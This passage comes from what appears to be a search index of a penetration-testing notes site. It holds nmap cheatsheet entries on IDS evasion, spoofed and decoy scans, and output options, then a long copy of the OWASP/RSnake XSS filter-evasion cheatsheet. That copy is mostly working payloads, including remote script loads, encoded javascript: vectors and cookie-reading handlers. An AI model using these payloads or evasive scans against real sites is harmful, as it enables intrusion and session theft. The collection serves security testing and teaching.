192.168.1.103,192.168.1.23 192.168.1.1 Send scans from spoofed IPs -D nmap -D decoy-ip1,decoy-ip2,your-own-ip,decoy-ip3,decoy-ip4 remote-host-ip Above example explained -S nmap -S www.microsoft.com www.facebook.com Scan Facebook from Microsoft (-e eth0 -Pn may be required) -g nmap -g 53 192.168.1.1 Use given source port number --proxies nmap --proxies http://192.168.1.1:8080, http://192.168.1.2:8080 192.168.1.1 Relay connections through HTTP/SOCKS4 proxies --data-length nmap --data-length 200 192.168.1.1 Appends random data to sent packets", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/nmap-cheatsheet/#example-ids-evasion-command", "title": "Example IDS Evasion command", "text": "
      nmap -f -t 0 -n -Pn \u2013data-length 200 -D 192.168.1.101,192.168.1.102,192.168.1.103,192.168.1.23 192.168.1.1\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/nmap-cheatsheet/#output", "title": "Output", "text": "Switch Description Example -oN nmap 192.168.1.1 -oN normal.file Normal output to the file normal.file -oX nmap 192.168.1.1 -oX xml.file XML output to the file xml.file -oG nmap 192.168.1.1 -oG grep.file Grepable output to the file grep.file -oA nmap 192.168.1.1 -oA results Output in the three major formats at once -oG - nmap 192.168.1.1 -oG - Grepable output to screen. -oN -, -oX - also usable --append-output nmap 192.168.1.1 -oN file.file --append-output Append a scan to a previous scan file -v nmap 192.168.1.1 -v Increase the verbosity level (use -vv or more for greater effect) -d nmap 192.168.1.1 -d Increase debugging level (use -dd or more for greater effect) --reason nmap 192.168.1.1 --reason Display the reason a port is in a particular state, same output as -vv --open nmap 192.168.1.1 --open Only show open (or possibly open) ports --packet-trace nmap 192.168.1.1 -T4 --packet-trace Show all packets sent and received --iflist nmap --iflist Shows the host interfaces and routes --resume nmap --resume results.file Resume a scan", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/nmap-cheatsheet/#helpful-nmap-output-examples", "title": "Helpful Nmap Output examples", "text": "

      Scan for web servers and grep to show which IPs are running web servers

      nmap -p80 -sV -oG - --open 192.168.1.1/24 | grep open\n

      Generate a list of the IPs of live hosts

      nmap -iR 10 -n -oX out.xml | grep \"Nmap\" | cut -d \" \" -f5 > live-hosts.txt\n

      Append IP to the list of live hosts

      nmap -iR 10 -n -oX out2.xml | grep \"Nmap\" | cut -d \" \" -f5 >> live-hosts.txt\n

      Compare output from nmap using the ndif

      ndiff scanl.xml scan2.xml\n

      Convert nmap xml files to html files

      xsltproc nmap.xml -o nmap.html\n

      Reverse sorted list of how often ports turn up

      grep \" open \" results.nmap | sed -r 's/ +/ /g' | sort | uniq -c | sort -rn | less\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/nmap-cheatsheet/#miscellaneous-options", "title": "Miscellaneous Options", "text": "Switch Description Example -6 nmap -6 2607:f0d0:1002:51::4 Enable IPv6 scanning -h nmap -h nmap help screen", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/nmap-cheatsheet/#other-useful-nmap-commands", "title": "Other Useful Nmap Commands", "text": "

      Discovery only on ports x, no port scan

      nmap -iR 10 -PS22-25,80,113,1050,35000 -v -sn\n

      Arp discovery only on local network, no port scan

      nmap 192.168.1.1-1/24 -PR -sn -vv\n

      Traceroute to random targets, no port scan

      nmap -iR 10 -sn -traceroute\n

      Query the Internal DNS for hosts, list targets only

      nmap 192.168.1.1-50 -sL --dns-server 192.168.1.1\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/", "title": "XSS CheatSheet", "text": "", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#introduction", "title": "Introduction", "text": "

      This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS CheatSheet, which was at: http://ha.ckers.org/xss.html. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention CheatSheet, the Cross Site Scripting Prevention CheatSheet, was inspired by RSnake's XSS CheatSheet, so we can thank RSnake for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack CheatSheet, and so the OWASP CheatSheet Series was born.

      This CheatSheet lists a series of XSS attacks that can be used to bypass certain XSS defensive filters. Please note that input filtering is an incomplete defense for XSS which these tests can be used to illustrate.

      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#basic-xss-test-without-filter-evasion", "title": "Basic XSS Test Without Filter Evasion", "text": "

      This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

      <SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#xss-locator-polygot", "title": "XSS Locator (Polygot)", "text": "

      The following is a \"polygot test XSS payload.\" This test will execute in multiple contexts including html, script string, js and url. Thank you to Gareth Heyes for this contribution.

      `javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#image-xss-using-the-javascript-directive", "title": "Image XSS Using the JavaScript Directive", "text": "

      Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:

      <img src=\"javascript:alert('XSS');\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#no-quotes-and-no-semicolon", "title": "No Quotes and no Semicolon", "text": "
      <IMG SRC=javascript:alert('XSS')>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#case-insensitive-xss-attack-vector", "title": "Case Insensitive XSS Attack Vector", "text": "
      <IMG SRC=JaVaScRiPt:alert('XSS')>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#html-entities", "title": "HTML Entities", "text": "

      The semicolons are required for this to work:

      <img src='javascript:alert(\"XSS\")' />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#grave-accent-obfuscation", "title": "Grave Accent Obfuscation", "text": "

      If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:

      <IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#malformed-a-tags", "title": "Malformed A Tags", "text": "

      Skip the HREF attribute and get to the meat of the XXS... Submitted by David Cross ~ Verified on Chrome

      `\\<a onmouseover=\"alert(document.cookie)\"\\>xxs link\\</a\\>\n

      or Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.

      `\\<a onmouseover=alert(document.cookie)\\>xxs link\\</a\\>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#malformed-img-tags", "title": "Malformed IMG Tags", "text": "

      Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tags:

      <IMG \"\"\">\n<script>\nalert('XSS');\n</script>\n\"\\>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#fromcharcode", "title": "fromCharCode", "text": "

      If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:

      <img src=\"javascript:alert(String.fromCharCode(88,83,83))\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#default-src-tag-to-get-past-filters-that-check-src-domain", "title": "Default SRC Tag to Get Past Filters that Check SRC Domain", "text": "

      This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here. Submitted by David Cross .

      <img src=\"#\" onmouseover=\"alert('xxs')\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#default-src-tag-by-leaving-it-empty", "title": "Default SRC Tag by Leaving it Empty", "text": "
      <img src=\"onmouseover\" =\"alert('xxs')\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#default-src-tag-by-leaving-it-out-entirely", "title": "Default SRC Tag by Leaving it out Entirely", "text": "
      <img onmouseover=\"alert('xxs')\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#on-error-alert", "title": "On Error Alert", "text": "
      <IMG SRC=/ onerror=\"alert(String.fromCharCode(88,83,83))\"></img>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#img-onerror-and-javascript-alert-encode", "title": "IMG onerror and JavaScript Alert Encode", "text": "
      <img src=x onerror=\"&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041\">\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#decimal-html-character-references", "title": "Decimal HTML Character References", "text": "

      All of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).

      <img\n  src=\"&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;\"\n/>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#decimal-html-character-references-without-trailing-semicolons", "title": "Decimal HTML Character References Without Trailing Semicolons", "text": "

      This is often effective in XSS that attempts to look for \"&#XX;\", since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like \\(tmp_string =\\~ s/.\\*\\\\&\\#(\\\\d+);.\\*/\\)1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):

      <img\n  src=\"&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041\"\n/>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#hexadecimal-html-character-references-without-trailing-semicolons", "title": "Hexadecimal HTML Character References Without Trailing Semicolons", "text": "

      This is also a viable XSS attack against the above string \\(tmp_string=\\~ s/.\\*\\\\&\\#(\\\\d+);.\\*/\\)1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).

      <img\n  src=\"&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29\"\n/>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#embedded-tab", "title": "Embedded Tab", "text": "

      Used to break up the cross site scripting attack:

      <img src=\"jav ascript:alert('XSS');\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#embedded-encoded-tab", "title": "Embedded Encoded Tab", "text": "

      Use this one to break up XSS :

      <img src=\"jav&#x09;ascript:alert('XSS');\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#embedded-newline-to-break-up-xss", "title": "Embedded Newline to Break-up XSS", "text": "

      Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:

      <img src=\"jav&#x0A;ascript:alert('XSS');\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#embedded-carriage-return-to-break-up-xss", "title": "Embedded Carriage Return to Break-up XSS", "text": "

      (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

      <img src=\"jav&#x0D;ascript:alert('XSS');\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#null-breaks-up-javascript-directive", "title": "Null breaks up JavaScript Directive", "text": "

      Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example:

      `perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out`\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#spaces-and-meta-chars-before-the-javascript-in-images-for-xss", "title": "Spaces and Meta Chars Before the JavaScript in Images for XSS", "text": "

      This is useful if the pattern match doesn't take into account spaces in the word javascript: -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the javascript: keyword. The actual reality is you can have any char from 1-32 in decimal:

      <img src=\" &#14;  javascript:alert('XSS');\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#non-alpha-non-digit-xss", "title": "Non-alpha-non-digit XSS", "text": "

      The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example \\<SCRIPT\\\\s != \\<SCRIPT/XSS\\\\s:

      <SCRIPT/XSS SRC=\"http://xss.rocks/xss.js\"></SCRIPT>\n

      Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:

      <BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>\n

      Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.

      <SCRIPT/SRC=\"http://xss.rocks/xss.js\"></SCRIPT>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#extraneous-open-brackets", "title": "Extraneous Open Brackets", "text": "

      Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:

      <\n<script>\nalert('XSS'); //\\<\n</script>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#no-closing-script-tags", "title": "No Closing Script Tags", "text": "

      In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the \\></SCRIPT> portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:

      <SCRIPT SRC=http://xss.rocks/xss.js?< B >\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#protocol-resolution-in-script-tags", "title": "Protocol Resolution in Script Tags", "text": "

      This particular variant was submitted by \u0141ukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The \".j\" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.

      <SCRIPT SRC=//xss.rocks/.j>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#half-open-htmljavascript-xss-vector", "title": "Half Open HTML/JavaScript XSS Vector", "text": "

      Unlike Firefox the IE rendering engine doesn't add extra data to you page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close \">\" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\\\\%3D)|(=))\\[^\\\\n\\]\\*((\\\\%3C)|\\<)\\[^\\\\n\\]+((\\\\%3E)|\\>)/ because it doesn't require the end \">\". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:

      <IMG SRC=\"`<javascript:alert>`('XSS')\"`\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#double-open-angle-brackets", "title": "Double Open Angle Brackets", "text": "

      Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:

      <iframe src=http://xss.rocks/scriptlet.html <`\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#escaping-javascript-escapes", "title": "Escaping JavaScript Escapes", "text": "

      When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a=\"$ENV{QUERY\\_STRING}\";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this gets injected it will read <SCRIPT>var a=\"\\\\\\\\\";alert('XSS');//\";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:

      `\\\";alert('XSS');//`\n

      An alternative, if correct JSON or Javascript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:

      </script><script>alert('XSS');</script>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#end-title-tag", "title": "End Title Tag", "text": "

      This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:

      </TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#input-image", "title": "INPUT Image", "text": "
      <input type=\"IMAGE\" src=\"javascript:alert('XSS');\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#body-image", "title": "BODY Image", "text": "
      <body background=\"javascript:alert('XSS')\"></body>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#img-dynsrc", "title": "IMG Dynsrc", "text": "
      <img DYNSRC=\"javascript:alert('XSS')\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#img-lowsrc", "title": "IMG Lowsrc", "text": "
      <img LOWSRC=\"javascript:alert('XSS')\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#list-style-image", "title": "List-style-image", "text": "

      Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:

      <STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS</br>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#vbscript-in-an-image", "title": "VBscript in an Image", "text": "
      <img src='vbscript:msgbox(\"XSS\")' />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#livescript-older-versions-of-netscape-only", "title": "Livescript (older versions of Netscape only)", "text": "
      <img src=\"livescript:[code]\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#svg-object-tag", "title": "SVG Object Tag", "text": "
      <svg/onload=alert('XSS')>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#ecmascript-6", "title": "ECMAScript 6", "text": "
      Set.constructor`alert\\x28document.domain\\x29\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#body-tag", "title": "BODY Tag", "text": "

      Method doesn't require using any variants of javascript: or <SCRIPT... to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign (onload= != onload =):

      <BODY ONLOAD=alert('XSS')>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#event-handlers", "title": "Event Handlers", "text": "

      It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.

      1. FSCommand() (attacker can use this when executed from within an embedded Flash object)
      2. onAbort() (when user aborts the loading of an image)
      3. onActivate() (when object is set as the active element)
      4. onAfterPrint() (activates after user prints or previews print job)
      5. onAfterUpdate() (activates on data object after updating data in the source object)
      6. onBeforeActivate() (fires before the object is set as the active element)
      7. onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the execCommand(\"Copy\") function)
      8. onBeforeCut() (attacker executes the attack string right before a selection is cut)
      9. onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
      10. onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
      11. onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand(\"Paste\") function)
      12. onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand(\"Print\") function).
      13. onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
      14. onBeforeUpdate() (activates on data object before updating data in the source object)
      15. onBegin() (the onbegin event fires immediately when the element's timeline begins)
      16. onBlur() (in the case where another popup is loaded and window looses focus)
      17. onBounce() (fires when the behavior property of the marquee object is set to \"alternate\" and the contents of the marquee reach one side of the window)
      18. onCellChange() (fires when data changes in the data provider)
      19. onChange() (select, text, or TEXTAREA field loses focus and its value has been modified)
      20. onClick() (someone clicks on a form)
      21. onContextMenu() (user would need to right click on attack area)
      22. onControlSelect() (fires when the user is about to make a control selection of the object)
      23. onCopy() (user needs to copy something or it can be exploited using the execCommand(\"Copy\") command)
      24. onCut() (user needs to copy something or it can be exploited using the execCommand(\"Cut\") command)
      25. onDataAvailable() (user would need to change data in an element, or attacker could perform the same function)
      26. onDataSetChanged() (fires when the data set exposed by a data source object changes)
      27. onDataSetComplete() (fires to indicate that all data is available from the data source object)
      28. onDblClick() (user double-clicks a form element or a link)
      29. onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
      30. onDrag() (requires that the user drags an object)
      31. onDragEnd() (requires that the user drags an object)
      32. onDragLeave() (requires that the user drags an object off a valid location)
      33. onDragEnter() (requires that the user drags an object into a valid location)
      34. onDragOver() (requires that the user drags an object into a valid location)
      35. onDragDrop() (user drops an object (e.g. file) onto the browser window)
      36. onDragStart() (occurs when user starts drag operation)
      37. onDrop() (user drops an object (e.g. file) onto the browser window)
      38. onEnd() (the onEnd event fires when the timeline ends.
      39. onError() (loading of a document or image causes an error)
      40. onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)
      41. onFilterChange() (fires when a visual filter completes state change)
      42. onFinish() (attacker can create the exploit when marquee is finished looping)
      43. onFocus() (attacker executes the attack string when the window gets focus)
      44. onFocusIn() (attacker executes the attack string when window gets focus)
      45. onFocusOut() (attacker executes the attack string when window looses focus)
      46. onHashChange() (fires when the fragment identifier part of the document's current address changed)
      47. onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
      48. onInput() (the text content of an element is changed through the user interface)
      49. onKeyDown() (user depresses a key)
      50. onKeyPress() (user presses or holds down a key)
      51. onKeyUp() (user releases a key)
      52. onLayoutComplete() (user would have to print or print preview)
      53. onLoad() (attacker executes the attack string after the window loads)
      54. onLoseCapture() (can be exploited by the releaseCapture() method)
      55. onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing)
      56. onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
      57. onMessage() (fire when the document received a message)
      58. onMouseDown() (the attacker would need to get the user to click on an image)
      59. onMouseEnter() (cursor moves over an object or area)
      60. onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
      61. onMouseMove() (the attacker would need to get the user to mouse over an image or table)
      62. onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
      63. onMouseOver() (cursor moves over an object or area)
      64. onMouseUp() (the attacker would need to get the user to click on an image)
      65. onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
      66. onMove() (user or attacker would move the page)
      67. onMoveEnd() (user or attacker would move the page)
      68. onMoveStart() (user or attacker would move the page)
      69. onOffline() (occurs if the browser is working in online mode and it starts to work offline)
      70. onOnline() (occurs if the browser is working in offline mode and it starts to work online)
      71. onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
      72. onPaste() (user would need to paste or attacker could use the execCommand(\"Paste\") function)
      73. onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element)
      74. onPopState() (fires when user navigated the session history)
      75. onProgress() (attacker would use this as a flash movie was loading)
      76. onPropertyChange() (user or attacker would need to change an element property)
      77. onReadyStateChange() (user or attacker would need to change an element property)
      78. onRedo() (user went forward in undo transaction history)
      79. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
      80. onReset() (user or attacker resets a form)
      81. onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
      82. onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
      83. onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
      84. onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)
      85. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
      86. onRowsEnter() (user or attacker would need to change a row in a data source)
      87. onRowExit() (user or attacker would need to change a row in a data source)
      88. onRowDelete() (user or attacker would need to delete a row in a data source)
      89. onRowInserted() (user or attacker would need to insert a row in a data source)
      90. onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
      91. onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward)
      92. onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(\"SelectAll\");)
      93. onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(\"SelectAll\");)
      94. onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(\"SelectAll\");)
      95. onStart() (fires at the beginning of each marquee loop)
      96. onStop() (user would need to press the stop button or leave the webpage)
      97. onStorage() (storage area changed)
      98. onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
      99. onSubmit() (requires attacker or user submits a form)
      100. onTimeError() (user or attacker sets a time property, such as dur, to an invalid value)
      101. onTrackChange() (user or attacker changes track in a playList)
      102. onUndo() (user went backward in undo transaction history)
      103. onUnload() (as the user clicks any link or presses the back button or attacker forces a click)
      104. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
      105. seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#bgsound", "title": "BGSOUND", "text": "
      <bgsound SRC=\"javascript:alert('XSS');\"></bgsound>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#javascript-includes", "title": "& JavaScript includes", "text": "
